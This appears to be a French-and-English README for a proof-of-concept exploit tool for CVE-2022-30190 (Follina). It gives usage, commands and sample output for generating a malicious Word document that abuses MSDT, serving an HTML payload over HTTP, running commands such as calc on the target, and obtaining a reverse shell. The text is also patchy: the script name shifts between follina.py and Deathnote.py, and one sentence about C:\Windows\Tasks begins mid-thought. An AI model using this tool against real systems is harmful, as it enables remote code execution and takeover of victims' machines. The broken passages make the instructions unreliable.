
Preuve de concept de CVE-2022-30190
A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.
Créez une attaque MS-MSDT « Deathnote » avec un document Microsoft Word malveillant et hébergez une charge utile avec un serveur HTTP.
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
Lancez notepad.exe :
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
Lancez calc.exe :
$ python3 Deathnote.py -c "calc"

C:\Windows\Tasks. Il ne supprime pas le binaire. Cela déclenchera les détections antivirus sauf si l’antivirus est désactivé.Obtenez reverse shell :
python3 Deathnote.py -p 1234